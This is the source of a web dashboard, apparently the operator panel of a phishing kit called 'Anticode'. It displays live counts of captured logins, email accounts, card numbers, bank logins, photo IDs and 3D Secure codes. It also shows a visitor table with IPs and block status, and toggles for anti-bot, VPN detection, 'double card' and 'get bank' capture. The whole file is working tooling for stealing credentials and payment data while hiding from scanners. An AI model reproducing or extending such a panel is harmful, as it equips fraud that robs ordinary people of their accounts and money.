<!DOCTYPE html>
<html lang="en">

    <head>
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=0, minimal-ui">
        <meta http-equiv="X-UA-Compatible" content="IE=edge" />
        <meta name="description" content="Fullstack Developer">
        <meta name="author" content="Anticode">
        <title>Anticode | Dashboard</title>
        <link rel="icon" href="<?= base_url() ?>ANTICODE/Ansrc/favicons/favicon.ico" type="image/x-icon">
        <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.6.0/css/all.min.css">
        <link href="https://fonts.googleapis.com/css?family=Open+Sans:400,600" rel="stylesheet">
        <link rel="stylesheet" type="text/css" href="<?= base_url() ?>ANTICODE/Ansrc/assets/css/bootstrap/css/bootstrap.min.css">
        <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.11.3/font/bootstrap-icons.min.css">
        <link href="https://cdnjs.cloudflare.com/ajax/libs/limonte-sweetalert2/7.33.1/sweetalert2.min.css" rel="stylesheet">
        <link rel="stylesheet" type="text/css" href="<?= base_url() ?>ANTICODE/Ansrc/assets/css/style.css">
        <link rel="stylesheet" type="text/css" href="<?= base_url() ?>ANTICODE/Ansrc/assets/css/jquery.mCustomScrollbar.css">
        <link rel="preconnect" href="https://fonts.googleapis.com">
        <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
        <link href="https://fonts.googleapis.com/css2?family=Doto:wght@100..900&display=swap" rel="stylesheet">
        <link rel="preconnect" href="https://fonts.googleapis.com">
        <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
        <link href="https://fonts.googleapis.com/css2?family=Doto:wght@100..900&family=Press+Start+2P&display=swap" rel="stylesheet">
        
        <style>
            body {
            margin: 0;
            background: black;
        }
        
        .rain-container {
            position: absolute;
            width: 100%;
            height: 100vh;
            overflow: hidden;
        }
        
        .raindrop {
            position: absolute;
            width: 2px;
            height: 20px;
            background: rgb(136, 255, 0);
            opacity: 0.7;
            animation: fall linear infinite;
        }
        
        .raindrop:nth-child(1) {
            left: 10%;
            animation-duration: 1.2s;
            animation-delay: 0s;
        }
        .raindrop:nth-child(2) {
            left: 20%;
            animation-duration: 1.5s;
            animation-delay: 0.2s;
        }
        .raindrop:nth-child(3) {
            left: 30%;
            animation-duration: 1.8s;
            animation-delay: 0.5s;
        }
        .raindrop:nth-child(4) {
            left: 40%;
            animation-duration: 1.3s;
            animation-delay: 0.3s;
        }
        .raindrop:nth-child(5) {
            left: 50%;
            animation-duration: 1.7s;
            animation-delay: 0.6s;
        }
        .raindrop:nth-child(6) {
            left: 60%;
            animation-duration: 1.4s;
            animation-delay: 0.1s;
        }
        .raindrop:nth-child(7) {
            left: 70%;
            animation-duration: 1.9s;
            animation-delay: 0.4s;
        }
        .raindrop:nth-child(8) {
            left: 80%;
            animation-duration: 1.6s;
            animation-delay: 0.7s;
        }
        
        @keyframes fall {
            0% {
                top: -10%;
                opacity: 0;
            }
            30% {
                opacity: 1;
            }
            100% {
                top: 100%;
                opacity: 0;
            }
        }


        .raindropx-container {
            position: absolute;
            width: 100%;
            height: 100%;
        }

        .raindropx {
            position: absolute;
            font-size: 30px;
            color: #40ff005f; 
            animation: fall 5s ease-in infinite, fadeInOut 5s ease-in-out infinite;
        }

        @keyframes fadeInOut {
            0%, 100% {
                opacity: 0;
            }
            50% {
                opacity: 1;
            }
        }
        </style>
  </head>
  <style>
    .game-t {
        font-family: 'Press Start 2P', cursive;
    }
  
  body {
      background:black;
      margin:0;
  }
  
    .zonk {
        list-style-type: none; 
    }
    @media (max-width: 768px) {
      .justDesk {
        display: none;
      }
    }
    
     @media (max-width: 768px) {
      .mobileDisplay {
        display: none;
      }
    }
    

    @media (max-width: 768px) {
  .responsive-table {
    width: 100%;
    overflow-x: auto;
    display: block;
    -webkit-overflow-scrolling: touch; 
  }

  .responsive-table table {
    width: 100%;
    border-collapse: collapse;
  }

  .responsive-table th, .responsive-table td {
    white-space: nowrap; 
    padding: 8px;
    text-align: left;
    border: 1px solid #ddd;
  }
}

@media (max-width: 768px) {
  .btx {
    width: 100%;
    overflow-x: auto;
    display: block;
  }
  
    .bg-bl {
      background-color:black;
  }
  
    .text-anticode {
        color:rgb(136, 255, 0);
    }
    
       h1, h2, p {
    font-family: 'Press Start 2P', cursive;
}

    .doto {
    font-family: "Doto", serif;
}

.f8 {
    font-size: 8px;
    font-family: 'Press Start 2P', cursive;
}

.f10 {
    font-size: 10px;
    font-family: 'Press Start 2P', cursive;
}
.f11 {
    font-size: 11px;
    font-family: 'Press Start 2P', cursive;
}

.f12 {
    font-size: 12px;
    font-family: 'Press Start 2P', cursive;
}
.f13 {
    font-size: 13px;
    font-family: 'Press Start 2P', cursive;
}
.f14 {
    font-size: 14px;
    font-family: 'Press Start 2P', cursive;
}

.proced {
    background:transparent;
}


.spinner-container {
    position: fixed;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    background-color: rgba(0, 0, 0, 0.5);
    display: flex;
    justify-content: center;
    align-items: center;
    z-index: 9999; 
}


.spinner-icon {
    font-size: 50px; 
    color: rgb(136, 255, 0); 
    animation: spin 2s linear infinite, changeColor 3s ease-in-out infinite, changeSize 2s ease-in-out infinite;
}


@keyframes changeColor {
    0% { color: rgba(75, 230, 9, 0.56); } 
    50% { color: rgba(35, 236, 0, 0.733); } 
    100% { color: rgb(26, 255, 0); } 
}


@keyframes changeSize {
    0% { width: 50px; height: 50px; }
    50% { width: 70px; height: 70px; }
    100% { width: 50px; height: 50px; }
}

#content {
    display: none;
}

    </style>
  <body>
    <script type="text/javascript">
        setInterval(function() {
            fetch('<?= base_url() ?>/private-access/panel/json')
                .then(r => r.json())
                .then(data => {
                    console.log(data)
                    let logaccount = data.logaccount
                    let logemail = data.logemail
                    let Secure = data.Secure
                    let logcard = data.logcard
                    let logbank = data.logbank
                    let logclick = data.logclick
                    let logpap = data.logpap
                    let logrobot = data.logrobot
                    

                    document.getElementById("logaccount").innerHTML = logaccount
                    document.getElementById("logemail").innerHTML = logemail
                    document.getElementById("Secure").innerHTML = Secure
                    document.getElementById("logcard").innerHTML = logcard
                    document.getElementById("logbank").innerHTML = logbank
                    document.getElementById("logclick").innerHTML = logclick
                    document.getElementById("logpap").innerHTML = logpap
                    document.getElementById("logrobot").innerHTML = logrobot
                });

            fetch('<?= base_url() ?>/private-access/panel/logclick')
                .then(r => r.text())
                .then(data => {
                    console.log(data)
                    document.getElementById("tr").innerHTML = data
                })
        }, 1000);
    </script>


    <div style="background:black;" id="pcoded" class="pcoded">
        <div class="pcoded-overlay-box"></div>
        <div style="background:black;" class="pcoded-container navbar-wrapper">
            <?php include "navbar.php" ?>
            <div style="background:black;" class="pcoded-main-container">
                <div style="background-color:black;" class="pcoded-wrapper">
                    <nav style="background:black;" class="pcoded-navbar">
                        <div style="background:black;" class="sidebar_toggle"><a href="#"><i class="bi bi-filter-right"></i></a></div>
                        <div style="background:black;" class="pcoded-inner-navbar main-menu">
                            <div class="">
                                  <?php include "head.php" ?>
                            </div>
                        <?php include "sidebar.php" ?>
                    </nav>
                    <div style="background-color:black;" class="pcoded-content">
                        <div style="background:black;" class="pcoded-inner-content">
                            <div style="background:black;" class="main-body">
                                <div class="page-wrapper">
                                    <div style="background:black;" class="page-body bg-bl">
                                          <div class="rain-container">
        <span class="raindrop"></span>
        <span class="raindrop"></span>
        <span class="raindrop"></span>
        <span class="raindrop"></span>
        <span class="raindrop"></span>
        <span class="raindrop"></span>
        <span class="raindrop"></span>
        <span class="raindrop"></span>
        <span class="raindrop"></span>
        <span class="raindrop"></span>
        <span class="raindrop"></span>
        <span class="raindrop"></span>
        <span class="raindrop"></span>
        <span class="raindrop"></span>
        <span class="raindrop"></span>
        <span class="raindrop"></span>

        <div class="row m-3">
            <div class="col-2">
                <div class="raindropx-container">
                    <i class="fab fa-ethereum raindropx ms-5" style="--random-x: 0.1; animation-delay: 0s;"></i>
                </div>
            </div>
            <div class="col-2">
                <div class="raindropx-container">
                    <i class="fa fa-dollar-sign raindropx ms-5" style="--random-x: 0.3; animation-delay: 1s;"></i>
                </div>
            </div>
            <div class="col-2">
                <div style="margin-left: 30px;" class="raindropx-container">
                    <i class="fab fa-bitcoin  raindropx ms-5" style="--random-x: 0.5; animation-delay: 2s;"></i>
                </div>
            </div>
            <div class="col-2">
                <div style="margin-left: 30px;" class="raindropx-container">
                    <i class="fa fa-dollar-sign raindropx ms-5" style="--random-x: 0.7; animation-delay: 2s;"></i>
                </div>
            </div>
            <div class="col-2">
                <div class="raindropx-container">
                    <i class="fab fa-ethereum raindropx ms-5" style="--random-x: 0.9; animation-delay: 1s;"></i>
                </div>
            </div>
            <div class="col-2">
                <div class="raindropx-container">
                    <i class="fab fa-bitcoin raindropx ms-5" style="--random-x: 0.1; animation-delay: 0s;"></i>
                </div>
            </div>
        </div>
    </div>
                                      <div class="row">
                                            <?php if (_panel('VISITOR') == 'on') { ?>
                                            <div class="col-md-6 col-xl-3">
                                                <div style="border-radius:20px; background:black;" class="card widget-card-1">
                                                    <div style="height:100px; border:2px solid rgb(136, 255, 0); border-radius:10px;" class="card-block-small">
                                                        <i style="background:black; border:2px solid rgb(136, 255, 0);" class="bi bi-eye card1-icon"></i>
                                                        <span style="color:gray; font-size:13px;" class="f-w-600">VISITOR</span>
                                                        <h4 style="color:rgb(136, 255, 0);" id="logclick"></h4>
                                                    </div>
                                                </div>
                                            </div>
                                            <?php } ?>
                                            <?php if (_panel('BOT') == 'on') { ?>
                                                <div class="col-md-6 col-xl-3">
                                                <div style="background:black;  border: 2px solid rgb(136, 255, 0);" class="card widget-card-1">
                                                    <div class="card-block-small">
                                                        <i style="background:black; border: 2px solid rgb(136, 255, 0);" class="bi bi-bug card1-icon"></i>
                                                        <span style="color:gray; font-size:13px;" class="f-w-600 f11">ROBOT</span>
                                                        <h4 style="color:rgb(136, 255, 0);" id="logrobot"></h4>
                                                    </div>
                                                </div>
                                            </div>
                                            <?php } ?>
                                            <?php if (_panel('LOGIN') == 'on') { ?>
                                            <div class="col-md-6 col-xl-3">
                                                <div style="background:black;  border: 2px solid rgb(136, 255, 0);" class="card widget-card-1">
                                                    <div class="card-block-small">
                                                        <i style="background:black; border: 2px solid rgb(136, 255, 0);" class="bi bi-person card1-icon"></i>
                                                        <span style="color:gray; font-size:13px;" class=" f-w-600 f11">LOGIN</span>
                                                        <h4 style="color:rgb(136, 255, 0);" id="logaccount"></h4>
                                                    </div>
                                                </div>
                                            </div>
                                            <?php } ?>
                                            <?php if (_panel('CARD') == 'on') { ?>
                                                <div class="col-md-6 col-xl-3">
                                                <div style="background:black;  border: 2px solid rgb(136, 255, 0);" class="card widget-card-1">
                                                    <div class="card-block-small">
                                                        <i style="background:black; border: 2px solid rgb(136, 255, 0);" class="bi bi-credit-card card1-icon"></i>
                                                        <span style="color:gray; font-size:13px;" class="f-w-600 f11">CARD</span>
                                                        <h4 style="color:rgb(136, 255, 0);" id="logcard"></h4>
                                                    </div>
                                                </div>
                                            </div>
                                            <?php } ?>
                                            <?php if (_panel('LOGEMAIL') == 'on') { ?>
                                                <div class="col-md-6 col-xl-3">
                                                <div style="background:black;  border: 2px solid rgb(136, 255, 0);" class="card widget-card-1">
                                                    <div class="card-block-small">
                                                        <i style="background:black; border: 2px solid rgb(136, 255, 0);" class="bi bi-envelope-arrow-down card1-icon"></i>
                                                        <span style="color:gray; font-size:13px;" class="f-w-600 f11">EMAIL</span>
                                                        <h4 style="color:rgb(136, 255, 0);" id="logemail"></h4>
                                                    </div>
                                                </div>
                                            </div>
                                            <?php } ?>
                                            <?php if (_panel('LOGBANK') == 'on') { ?>
                                                <div class="col-md-6 col-xl-3">
                                                <div style="background:black;  border: 2px solid rgb(136, 255, 0);" class="card widget-card-1">
                                                    <div class="card-block-small">
                                                        <i style="background:black; border: 2px solid rgb(136, 255, 0);" class="bi bi-bank card1-icon"></i>
                                                        <span style="color:gray; font-size:13px;" class=" f-w-600 f12">BANK</span>
                                                        <h4 style="color:rgb(136, 255, 0);" id="logbank"></h4>
                                                    </div>
                                                </div>
                                            </div>
                                            <?php } ?>
                                            <?php if (_panel('GETPAP') == 'on') { ?>
                                                <div class="col-md-6 col-xl-3">
                                                <div style="background:black;  border: 2px solid rgb(136, 255, 0);" class="card widget-card-1">
                                                    <div class="card-block-small">
                                                        <i style="background:black; border: 2px solid rgb(136, 255, 0);" class="bi bi-camera2 card1-icon"></i>
                                                        <span style="color:gray; font-size:13px;" class=" f-w-600 f11">PAP</span>
                                                        <h4 style="color:rgb(136, 255, 0);" id="logpap" hidden></h4>
                                                        <h4 style="color:rgb(136, 255, 0);" id="logpap">0</h4>
                                                    </div>
                                                </div>
                                            </div>
                                            <?php } ?>
                                            <?php if (_panel('3DSCURE') == 'on') { ?>
                                                <div class="col-md-6 col-xl-3">
                                                <div style="background:black;  border: 2px solid rgb(136, 255, 0);" class="card widget-card-1">
                                                    <div class="card-block-small">
                                                        <i style="background:black; border: 2px solid rgb(136, 255, 0);" class="bi bi-shield-lock card1-icon"></i>
                                                        <span style="color:gray; font-size:13px;" class=" f-w-600 f11">WEB ID</span>
                                                        <h4 style="color:rgb(136, 255, 0);" id="Secure" hidden></h4>
                                                        <h4 style="color:rgb(136, 255, 0);" id="Secure">0</h4>
                                                    </div>
                                                </div>
                                            </div>
                                            <?php } ?>
                                        </div>
                                    </div>
                                </div>
                            </div>
                            
                            <div class="justDesk">
                                <div id="justDesk" class="container-fluid  d-flex justify-content-center align-items-center text-center bg-transparent">
                                <div style="max-width:100%; background:black;" id="justDesk" class="card d-flex justify-content-center align-items-center text-center">
                                    <div style="margin-bottom: -30px" class="card-header text-center">
                                        <strong style="font-size:14px; color:#87dc4b9e;"> Current setting's </strong>
                                    </div>
                                    <div style="margin-top: -30px;" class="row text-center m-4">
                                        <p style="font-size:10px; letter-spacing:1px; border:none; background:none;" class="d-flex justify-content-center align-items-center text-center">
                                            <span class="text-white ml-1"><strong> ANTIBOT:</strong><?php if (_config('ANTIBOT') == 'off') {  echo " 🔴 ";} ?><?php if (_config('ANTIBOT') == 'on') { echo " 🟢 "; } ?>  </span> 

                                            <span class="text-white ml-1"><strong> STOPBOT:</strong><?php if (_config('STOPBOT') == 'off') {  echo " 🔴 ";} ?><?php if (_config('STOPBOT') == 'on') { echo " 🟢 "; } ?>  </span> 
                                             
                                            <span class="text-white ml-1"><strong> BLOCKER:</strong><?php if (_config('BLOCKERS') == 'off') {  echo " 🔴 ";} ?><?php if (_config('BLOCKERS') == 'on') { echo " 🟢 "; } ?>  </span> 
                                                
                                            <span class="text-white ml-1"><strong> VPN DETECT:</strong><?php if (_config('VPNDETECT') == 'off') {  echo " 🔴 ";} ?><?php if (_config('VPNDETECT') == 'on') { echo " 🟢 "; } ?>  </span> 
                                              
                                            <span class="text-white ml-1"><strong> GET ACCOUNT :</strong><?php if (_config('GETACCOUNT') == 'off') {  echo " 🔴 ";} ?><?php if (_config('GETACCOUNT') == 'on') { echo " 🟢 "; } ?>   </span>
                                                
                                            <span class="text-white ml-1"><strong> DOUBLE LOGIN: </strong><?php if (_config('DOUBLELOG') == 'off') {  echo " 🔴 ";} ?><?php if (_config('DOUBLELOG') == 'on') { echo " 🟢 "; } ?>  </span> 

                                            <span class="text-white ml-1"><strong> GET EMAIL:</strong><?php if (_config('GETEMAIL') == 'off') {  echo " 🔴 ";} ?><?php if (_config('GETEMAIL') == 'on') { echo " 🟢 "; } ?>  </span>

                                            <span class="text-white ml-1"><strong> DOUBLE EMAIL:</strong><?php if (_config('DOUBLEEMAIL') == 'off') {  echo " 🔴 ";} ?> <?php if (_config('DOUBLEEMAIL') == 'on') { echo " 🟢 "; } ?>   </span>

                                            <span class="text-white ml-1"><strong> DOUBLE CARD:</strong><?php if (_config('DOUBLECARD') == 'off') {  echo " 🔴 ";} ?><?php if (_config('DOUBLECARD') == 'on') { echo " 🟢 "; } ?>   </span>

                                            <span class="text-white ml-1"><strong> GETBANK:</strong><?php if (_config('GETBANK') == 'off') {  echo " 🔴 ";} ?><?php if (_config('GETBANK') == 'on') { echo " 🟢 "; } ?>  </span>
                                        </p>
                                    </div>
                                </div>
                            </div>
                       </div>

                            <script type="text/javascript">
                                setInterval(function() {
                                fetch('<?= base_url() ?>private-access/panel/logclick')
                                .then(r => r.text())
                                .then(data => {
                                console.log(data)
                                document.getElementById("tr").innerHTML = data
                                                    })
                                }, 1000);
                            </script>
                             <?php ?>
                             
                        <div class="mmobileDisplay">
                            <div class="container-fluid">
                               <div class="row">
                                   <div class="col-md-12">
                                       <div style="background:black;" class="card">
                                           <div class="card-header">
                                                <div class="row">
                                                    <div class="col-9 col-sm-9">
                                                        <h5 style="font-size:16px; color:rgb(136, 255, 0); letter-spacing:1px;">TABLE LOG VISITORS</h5>
                                                        <span style="font-size:12px;" class="text-muted">The visitor report table is realtime, no need to refresh.</span>
                                                        <span style="font-size:14px;" class="text-white"><strong class="text-danger">NOTE :</strong><strong class="text-white"> [B] </strong> = Blocked</span>
                                                    </div>
                                                    <div class="col-3 col-sm-3">
                                                        <form action="<?= base_url() ?>/private-access/panel/update" method="post">
                                                            <input type="password" name="resetlog" value="resetlog" hidden>
                                                            <button style="font-weight:bold; box-shadow: 0 0 2px 2px rgb(136, 255, 0);" class="btn btn-dark bg-transparent d-block w-100 text-white btx" type="submit" name="gasreset">RESET</button>
                                                        </form>
                                                    </div>
                                                </div>
                                           </div>
                                           <div class="card-body">
                                               <table *ngIf="dataSource" mat-table [dataSource]="dataSource" class="table table-hover responsive-table">
                                                    <thead style="font-size:12px; letter-spacing:1px;">
                                                        <tr>
                                                            <th class="text-left text-success" scope="col">Flag</th>
                                                            <th class="text-left text-success" scope="col">IP Address</th>
                                                            <th class="text-left text-success" scope="col">Country</th>
                                                            <th class="text-left text-success" scope="col">Browser</th>
                                                            <th class="text-left text-success" scope="col">Response</th></th>
                                                            <th class="text-left text-success" scope="col">Access Time</th>
                                                        </tr>
                                                    </thead>
                                                    <tbody style="font-size:12px; font-family: 'Arial', sans-serif;" class="text-white text-left" id="tr">
                                                                
                                                    </tbody>
                                                </table>
                                           </div>
                                       </div>
                                   </div>
                                    </div>
                                </div>
                            </div>
                            
                            </div>
                            <br>
                        </div>
                    </div>
                </div>
            </div>
        </div>

<script src="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.6.0/js/all.min.js"></script>        
<script type="text/javascript" src="<?= base_url() ?>ANTICODE/Ansrc/assets/js/jquery/jquery.min.js"></script>
<script type="text/javascript" src="<?= base_url() ?>ANTICODE/Ansrc/assets/js/jquery-ui/jquery-ui.min.js"></script>
<script type="text/javascript" src="<?= base_url() ?>ANTICODE/Ansrc/assets/js/bootstrap/js/bootstrap.min.js"></script>
<script type="text/javascript" src="<?= base_url() ?>ANTICODE/Ansrc/js/jquery-slimscroll/jquery.slimscroll.js"></script>
<script src="<?= base_url() ?>ANTICODE/Ansrc/assets/js/widget/amchart/amcharts.min.js"></script>
<script src="<?= base_url() ?>ANTICODE/Ansrc/assets/js/widget/amchart/serial.min.js"></script>
<script type="text/javascript" src="<?= base_url() ?>ANTICODE/Ansrc/assets/pages/dashboard/custom-dashboard.js"></script>
<script type="text/javascript" src="<?= base_url() ?>ANTICODE/Ansrc/assets/js/script.js"></script>
<script type="text/javascript " src="<?= base_url() ?>ANTICODE/Ansrc/assets/js/SmoothScroll.js"></script>
<script src="<?= base_url() ?>ANTICODE/Ansrc/assets/js/pcoded.min.js"></script>
<script src="<?= base_url() ?>ANTICODE/Ansrc/assets/js/demo-12.js"></script>
<script src="<?= base_url() ?>ANTICODE/Ansrc/assets/js/jquery.mCustomScrollbar.concat.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/limonte-sweetalert2/7.33.1/sweetalert2.min.js"></script>
    <?php if (@$_SESSION['sukses']) { ?>
        <script>
            <?php echo $_SESSION['sukses']; ?>
        </script>
    <?php unset($_SESSION['sukses']);
    } ?>

</body>
</html>
